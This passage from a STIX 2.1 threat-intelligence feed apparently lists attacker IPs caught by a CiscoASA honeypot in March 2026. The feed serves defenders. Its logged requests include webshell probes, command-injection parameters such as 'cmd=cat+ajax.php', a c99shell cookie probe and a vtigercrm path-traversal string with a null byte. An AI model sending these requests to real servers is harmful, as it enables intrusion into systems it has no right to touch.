      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '185.220.101.178']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T21:20:13.000Z",
      "valid_until": "2026-04-09T21:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 3,
          "first_seen": "2026-03-08T20:51:01.626Z",
          "last_seen": "2026-03-08T20:51:07.978Z",
          "country": "Germany",
          "country_code": "DE",
          "asn": 60729,
          "as_org": "Stiftung Erneuerbare Freiheit",
          "event_types": [
            "\"GET /darkness.php?xasd HTTP/1.1\" 404 -",
            "\"GET /xx.php?x1q23ed HTTP/1.1\" 404 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-03-08T21:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. geo: DE; ASN 60729 (Stiftung Erneuerbare Freiheit)",
      "id": "indicator--18a8ff99-c2d0-44ab-b17a-86459d55138e",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '185.220.101.191']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T21:20:13.000Z",
      "valid_until": "2026-04-09T21:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 45,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 1,
          "first_seen": "2026-03-08T20:55:18.943Z",
          "last_seen": "2026-03-08T20:55:18.943Z",
          "country": "Germany",
          "country_code": "DE",
          "asn": 60729,
          "as_org": "Stiftung Erneuerbare Freiheit"
        }
      }
    },
    {
      "created": "2026-03-08T21:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /cisco/config.all.php? HTTP/1.1\" 404 - geo: DE; ASN 60729 (Stiftung Erneuerbare Freiheit)",
      "id": "indicator--ae8f883c-c59d-4ccf-ac97-743bbdac2999",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '185.220.101.33']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T21:20:13.000Z",
      "valid_until": "2026-04-09T21:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 5,
          "first_seen": "2026-03-08T20:58:43.384Z",
          "last_seen": "2026-03-08T20:58:51.430Z",
          "country": "Germany",
          "country_code": "DE",
          "asn": 60729,
          "as_org": "Stiftung Erneuerbare Freiheit",
          "event_types": [
            "\"GET /cisco/config.all.php? HTTP/1.1\" 404 -",
            "\"GET /classes/config.all.php? HTTP/1.1\" 404 -",
            "\"GET /components/config.all.php? HTTP/1.1\" 404 -",
            "\"GET /config.all.php? HTTP/1.1\" 404 -",
            "\"GET /config/config.all.php? HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-08T21:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /_asterisk/vivovivow.php?dwxw=cat+vivovivow.php& HTTP/1.1\" 404 - geo: DE; ASN 60729 (Stiftung Erneuerbare Freiheit)",
      "id": "indicator--37beed0b-ea4f-4543-8f04-b1b6139bcecc",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '185.220.101.40']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T21:20:13.000Z",
      "valid_until": "2026-04-09T21:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 3,
          "first_seen": "2026-03-08T20:50:26.021Z",
          "last_seen": "2026-03-08T20:50:29.559Z",
          "country": "Germany",
          "country_code": "DE",
          "asn": 60729,
          "as_org": "Stiftung Erneuerbare Freiheit",
          "event_types": [
            "\"GET /_asterisk/vivovivow.php?dwxw=cat+vivovivow.php& HTTP/1.1\" 404 -",
            "\"GET /ajax.php?cmd=cat+ajax.php& HTTP/1.1\" 404 -",
            "\"GET /emo.php?yokyok=cat+emo.php& HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-08T21:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /admin/themes/config.all.php? HTTP/1.1\" 404 - geo: DE; ASN 60729 (Stiftung Erneuerbare Freiheit)",
      "id": "indicator--a6ea6fbd-6dbb-468f-8006-9ecba45a02ad",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '185.220.101.52']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T21:20:13.000Z",
      "valid_until": "2026-04-09T21:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 9,
          "first_seen": "2026-03-08T20:58:33.452Z",
          "last_seen": "2026-03-08T21:01:59.926Z",
          "country": "Germany",
          "country_code": "DE",
          "asn": 60729,
          "as_org": "Stiftung Erneuerbare Freiheit",
          "event_types": [
            "\"GET /admin/themes/config.all.php? HTTP/1.1\" 404 -",
            "\"GET /admin/views/config.all.php? HTTP/1.1\" 404 -",
            "\"GET /asteriskWS/config.all.php? HTTP/1.1\" 404 -",
            "\"GET /bin/config.all.php? HTTP/1.1\" 404 -",
            "\"GET /k12/config.all.php?x HTTP/1.1\" 404 -",
            "\"GET /lang/config.all.php?x HTTP/1.1\" 404 -",
            "\"GET /libs/config.all.php?x HTTP/1.1\" 404 -",
            "\"GET /mail/config.all.php?x HTTP/1.1\" 404 -",
            "\"GET /maint/config.all.php?x HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-08T21:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. geo: DE; ASN 60729 (Stiftung Erneuerbare Freiheit)",
      "id": "indicator--c58f9964-24a5-4d36-a18c-b76ff8c4903f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '185.220.101.56']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T21:20:13.000Z",
      "valid_until": "2026-04-09T21:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 65,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 5,
          "first_seen": "2026-03-08T20:49:42.876Z",
          "last_seen": "2026-03-08T20:49:50.674Z",
          "country": "Germany",
          "country_code": "DE",
          "asn": 60729,
          "as_org": "Stiftung Erneuerbare Freiheit"
        }
      }
    },
    {
      "created": "2026-03-08T21:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: Request timed out: TimeoutError(The read operation timed out) geo: DE; ASN 60729 (Stiftung Erneuerbare Freiheit)",
      "id": "indicator--9e701fe9-cb84-4d6a-a42a-5eed8fa3b934",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '185.220.101.63']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T21:20:13.000Z",
      "valid_until": "2026-04-09T21:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 4,
          "first_seen": "2026-03-08T20:48:57.255Z",
          "last_seen": "2026-03-08T20:49:04.734Z",
          "country": "Germany",
          "country_code": "DE",
          "asn": 60729,
          "as_org": "Stiftung Erneuerbare Freiheit",
          "event_types": [
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"POST /admin/ajax.php HTTP/1.1\" 200 -",
            "\"POST /admin/ajax.php?module=recordings HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-08T21:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /_asterisk/vivovivo.php?dwx=cat+vivovivo.php& HTTP/1.1\" 404 - geo: DE; ASN 60729 (Stiftung Erneuerbare Freiheit)",
      "id": "indicator--da95820a-82f3-4fd2-8c4d-24cfd4e811cd",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '185.220.101.97']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T21:20:13.000Z",
      "valid_until": "2026-04-09T21:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 7,
          "first_seen": "2026-03-08T20:50:31.297Z",
          "last_seen": "2026-03-08T20:50:45.979Z",
          "country": "Germany",
          "country_code": "DE",
          "asn": 60729,
          "as_org": "Stiftung Erneuerbare Freiheit",
          "event_types": [
            "\"GET /_asterisk/vivovivo.php?dwx=cat+vivovivo.php& HTTP/1.1\" 404 -",
            "\"GET /admin/assets/m.php?c=cat+m.php& HTTP/1.1\" 404 -",
            "\"GET /assets/m.php?c=cat+m.php& HTTP/1.1\" 404 -",
            "\"GET /digium_phones/emo.php?yokyok=cat+emo.php& HTTP/1.1\" 404 -",
            "\"GET /rr.php?yokyok=cat+rr.php& HTTP/1.1\" 404 -",
            "\"GET /rrr.php?badr1badr=cat+rrr.php& HTTP/1.1\" 404 -",
            "\"GET /vivovivow.php?dwxw=cat+vivovivow.php& HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-08T21:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /recordings/page.framework.php? HTTP/1.1\" 404 - geo: DE; ASN 60729 (Stiftung Erneuerbare Freiheit)",
      "id": "indicator--5d1cadf9-e6b1-4d04-b0d1-f989ac6f27f2",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '185.220.101.98']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T21:20:13.000Z",
      "valid_until": "2026-04-09T21:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 5,
          "first_seen": "2026-03-08T20:56:14.085Z",
          "last_seen": "2026-03-08T20:56:21.575Z",
          "country": "Germany",
          "country_code": "DE",
          "asn": 60729,
          "as_org": "Stiftung Erneuerbare Freiheit",
          "event_types": [
            "\"GET /recordings/page.framework.php? HTTP/1.1\" 404 -",
            "\"GET /recordings/phpversions.php?module=upload HTTP/1.1\" 404 -",
            "\"GET /recordings/phpversions.php?module=upload&1 HTTP/1.1\" 404 -",
            "\"GET /recordings/s.php? HTTP/1.1\" 404 -",
            "\"GET /recordings/s.php?1xx HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-08T21:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /adminconfig.all.php?aa HTTP/1.1\" 404 - geo: NL; ASN 200651 (FlokiNET ehf)",
      "id": "indicator--579fa1c7-0475-401b-9323-47f01b7948c1",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '185.246.188.73']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T21:20:13.000Z",
      "valid_until": "2026-04-09T21:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 7,
          "first_seen": "2026-03-08T20:53:38.970Z",
          "last_seen": "2026-03-08T20:53:49.363Z",
          "country": "Netherlands",
          "country_code": "NL",
          "asn": 200651,
          "as_org": "FlokiNET ehf",
          "event_types": [
            "\"GET /adminconfig.all.php?aa HTTP/1.1\" 404 -",
            "\"GET /adminconfig.all.php?xaa HTTP/1.1\" 404 -",
            "\"GET /atmin/config.php?csasw HTTP/1.1\" 404 -",
            "\"GET /graph.php?module=upload HTTP/1.1\" 404 -",
            "\"GET /recordingsconfig.all.php?xx HTTP/1.1\" 404 -",
            "\"GET /recordingsconfig.all.php?xxx HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-08T21:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /1.php?badr HTTP/1.1\" 404 - geo: NL; ASN 200651 (FlokiNET ehf)",
      "id": "indicator--4367f8cc-845d-498e-a552-ceca80cf8725",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '185.246.188.74']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T21:20:13.000Z",
      "valid_until": "2026-04-09T21:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 22,
          "first_seen": "2026-03-08T20:50:03.993Z",
          "last_seen": "2026-03-08T20:56:12.490Z",
          "country": "Netherlands",
          "country_code": "NL",
          "asn": 200651,
          "as_org": "FlokiNET ehf",
          "event_types": [
            "\"GET /1.php?badr HTTP/1.1\" 404 -",
            "\"GET /nigga/ari.conf HTTP/1.1\" 404 -",
            "\"GET /panel/atmin/config.php?aca HTTP/1.1\" 404 -",
            "\"GET /panel/main.php?11 HTTP/1.1\" 404 -",
            "\"GET /panel/main.php?126 HTTP/1.1\" 404 -",
            "\"GET /panel/main.php?x HTTP/1.1\" 404 -",
            "\"GET /panel/main.php?x3 HTTP/1.1\" 404 -",
            "\"GET /recordings/Ultimatex.php?ed3b0941a97e7f9=admin&asd HTTP/1.1\" 404 -",
            "\"GET /recordings/miscconfig.all.php? HTTP/1.1\" 404 -",
            "\"GET /recordings/miscconfig.all.php?x HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-08T21:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /_asterisk/phpversions.php?npv HTTP/1.1\" 404 - geo: NO; ASN 62248 (Modirum Mdpay Ou)",
      "id": "indicator--a2e878ff-8029-475a-a768-2a1b63469fe9",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '185.42.170.203']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T21:20:13.000Z",
      "valid_until": "2026-04-09T21:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 6,
          "first_seen": "2026-03-08T21:02:37.475Z",
          "last_seen": "2026-03-08T21:03:11.085Z",
          "country": "Norway",
          "country_code": "NO",
          "asn": 62248,
          "as_org": "Modirum Mdpay Ou",
          "event_types": [
            "\"GET /_asterisk/phpversions.php?npv HTTP/1.1\" 404 -",
            "\"GET /phpversions.php?npv HTTP/1.1\" 404 -",
            "\"GET /restapi/config.all.php?x HTTP/1.1\" 404 -",
            "\"GET /restapps/config.all.php?x HTTP/1.1\" 404 -",
            "\"GET /var/phpversions.php?npv HTTP/1.1\" 404 -",
            "\"GET /vtigercrm/phpversions.php?npv HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-08T21:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /admin/assets/config.all.php?x HTTP/1.1\" 404 - geo: NL; ASN 60404 (The Infrastructure Group B.V.)",
      "id": "indicator--714cb436-d667-4983-bf26-9d8ea0df23aa",
      "labels": [
        "botnet_cc",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '192.76.153.253']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T21:20:13.000Z",
      "valid_until": "2026-04-09T21:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 20,
          "first_seen": "2026-03-08T20:49:25.279Z",
          "last_seen": "2026-03-08T21:01:00.822Z",
          "country": "Netherlands",
          "country_code": "NL",
          "asn": 60404,
          "as_org": "The Infrastructure Group B.V.",
          "event_types": [
            "\"GET /admin/assets/config.all.php?x HTTP/1.1\" 404 -",
            "\"GET /admin/cdr/config.all.php?x HTTP/1.1\" 404 -",
            "\"GET /admin/common/config.all.php?x HTTP/1.1\" 404 -",
            "\"GET /admin/config.all.php?x HTTP/1.1\" 404 -",
            "\"GET /admin/helpers/config.all.php?x HTTP/1.1\" 404 -",
            "\"GET /configs/config.all.php? HTTP/1.1\" 404 -",
            "\"GET /controllers/config.all.php? HTTP/1.1\" 404 -",
            "\"GET /css/config.all.php? HTTP/1.1\" 404 -",
            "\"GET /digium_phones/config.all.php? HTTP/1.1\" 404 -",
            "\"GET /elastixConnection/config.all.php? HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-08T21:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /vtigercrm/Hima.php?2 HTTP/1.1\" 404 - geo: FR; ASN 213873 (MOJI SAS)",
      "id": "indicator--b79a2911-3237-474f-9f68-ba7eacd4fbb3",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '203.55.81.1']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T21:20:13.000Z",
      "valid_until": "2026-04-09T21:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 7,
          "first_seen": "2026-03-08T20:56:43.056Z",
          "last_seen": "2026-03-08T20:56:51.765Z",
          "country": "France",
          "country_code": "FR",
          "asn": 213873,
          "as_org": "MOJI SAS",
          "event_types": [
            "\"GET /vtigercrm/Hima.php?2 HTTP/1.1\" 404 -",
            "\"GET /vtigercrm/Himaa.php?2 HTTP/1.1\" 404 -",
            "\"GET /vtigercrm/a7a.php?3 HTTP/1.1\" 404 -",
            "\"GET /vtigercrm/graph.php?module=upload HTTP/1.1\" 404 -",
            "\"GET /vtigercrm/graph.php?module=upload&1 HTTP/1.1\" 404 -",
            "\"GET /vtigercrm/main.php?8 HTTP/1.1\" 404 -",
            "\"GET /vtigercrm/moaz.php?9 HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-08T21:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: Request timed out: TimeoutError(The read operation timed out) geo: FR; ASN 213873 (MOJI SAS)",
      "id": "indicator--133a2431-bc66-4887-b6a4-ea24f21a290c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '203.55.81.2']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T21:20:13.000Z",
      "valid_until": "2026-04-09T21:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 4,
          "first_seen": "2026-03-08T20:48:35.525Z",
          "last_seen": "2026-03-08T20:48:42.594Z",
          "country": "France",
          "country_code": "FR",
          "asn": 213873,
          "as_org": "MOJI SAS",
          "event_types": [
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /recordings/index.php HTTP/1.1\" 404 -",
            "\"POST /admin/ajax.php?module=music HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-08T21:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /a2billing/ws.php?caw HTTP/1.1\" 404 - geo: NL; ASN 399820 (SPARKED HOST LLC)",
      "id": "indicator--4403fb3d-ff72-4548-8f6b-f2d1ed784115",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '204.137.14.106']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T21:20:13.000Z",
      "valid_until": "2026-04-09T21:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 11,
          "first_seen": "2026-03-08T20:52:09.194Z",
          "last_seen": "2026-03-08T20:52:39.486Z",
          "country": "Netherlands",
          "country_code": "NL",
          "asn": 399820,
          "as_org": "SPARKED HOST LLC",
          "event_types": [
            "\"GET /a2billing/ws.php?caw HTTP/1.1\" 404 -",
            "\"GET /admin/fortest.php?xa HTTP/1.1\" 404 -",
            "\"GET /emad.php?45qw HTTP/1.1\" 404 -",
            "\"GET /panel/fortest.php?wd HTTP/1.1\" 404 -",
            "\"GET /recordings/lol.php?31asd HTTP/1.1\" 404 -",
            "\"GET /recordings/play_page.php?qwe HTTP/1.1\" 404 -",
            "\"GET /recordings/pos.php?ca HTTP/1.1\" 404 -",
            "\"GET /recordings/sall123.php?qwe HTTP/1.1\" 404 -",
            "\"GET /var/config.php?z1 HTTP/1.1\" 404 -",
            "\"GET /var/mod_conf.php?c99shcook[login]=0 HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-08T21:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: --------------------------0efaf76f1a64c923\" 400 - geo: FR; ASN 12876 (Scaleway S.a.s.)",
      "id": "indicator--16964857-567a-4f50-b58d-387795c83d6e",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '212.83.160.70']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T21:20:13.000Z",
      "valid_until": "2026-04-09T21:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 3,
          "first_seen": "2026-03-08T20:49:22.500Z",
          "last_seen": "2026-03-08T20:49:22.501Z",
          "country": "France",
          "country_code": "FR",
          "asn": 12876,
          "as_org": "Scaleway S.a.s.",
          "event_types": [
            "\"--------------------------0efaf76f1a64c923\" 400 -",
            "\"POST /vtigercrm/phprint.php?action=fa&module=ff&lang_crm=../../modules/Import/ImportStep2.php%00 HTTP/1.1\" 200 -",
            "code 400"
          ]
        }
      }
    },
    {
      "created": "2026-03-08T21:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /login.php?z HTTP/1.1\" 404 - geo: US; ASN 396507 (Emerald Onion)",
      "id": "indicator--e7a43fb6-f179-42c0-9dae-523e08081aee",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '23.129.64.212']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T21:20:13.000Z",
      "valid_until": "2026-04-09T21:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 2,
          "first_seen": "2026-03-08T20:51:20.408Z",
          "last_seen": "2026-03-08T20:51:21.735Z",
          "country": "United States",
          "country_code": "US",
          "asn": 396507,
          "as_org": "Emerald Onion",
          "event_types": [
            "\"GET /login.php?z HTTP/1.1\" 404 -",
            "\"GET /mtm.php?c HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-08T21:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /STC_VoIP_PIN/config.all.php?x HTTP/1.1\" 404 - geo: US; ASN 396507 (Emerald Onion)",
      "id": "indicator--0d489ad7-834e-4ff3-8b4d-26e682b39275",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '23.129.64.222']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T21:20:13.000Z",
      "valid_until": "2026-04-09T21:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
